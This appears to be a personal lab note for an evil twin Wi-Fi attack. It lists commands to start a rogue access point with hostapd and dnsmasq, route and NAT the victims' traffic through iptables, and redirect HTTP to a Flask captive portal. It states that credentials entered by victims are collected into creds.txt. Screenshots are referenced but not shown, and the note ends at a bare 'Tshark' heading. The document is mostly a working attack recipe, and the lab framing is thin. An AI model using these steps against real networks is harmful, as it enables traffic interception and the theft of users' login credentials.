Date : 29 Apr, 2025


Evil Twin Attack

Preparation:

apt-get update
apt-get install hostapd dnsmasq
airmon-ng start wlan0

hostapd.conf:

sudo nano hostapd.conf

attachments/Pasted image 20250430061257.png|600

Note

  • The hostapd.conf file will use our adapter to run an access point(AP mode)

dnsmasq.conf:

sudo nano dnsmasq.conf

Note

  • The dnsmasq.conf will allow the connected machines to get an ip address on the basis of our configuration (using DHCP).

Routing table and gateway:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

attachments/Pasted image 20250430061643.png|600

Note

  • The routing tables and the gateway will make sure the traffic passes through the gateway.

Internet access:

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT

attachments/Pasted image 20250430062001.png|600

Launching AP (Evil Twin Attack) :

attachments/Pasted image 20250430062137.png

Connected device with Internet access

attachments/Pasted image 20250430062329.png
attachments/Pasted image 20250430062406.png|600

The connected device has acquired an ipv4 address via DHCP :

attachments/Pasted image 20250430062927.png

Launching a login portal :

Clear any old rules

sudo iptables -t nat -F

Redirect HTTP traffic to Flask captive portal

sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.1:80
sudo iptables -t nat -A POSTROUTING -j MASQUERADE

Enable IP forwarding (if not already done)

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

attachments/Pasted image 20250430064156.png

attachments/Pasted image 20250430064214.png
attachments/Pasted image 20250430103230.png|750

Important

  • The credentials given by the victims can be collected into creds.txt

attachments/Pasted image 20250430064929.png


Tshark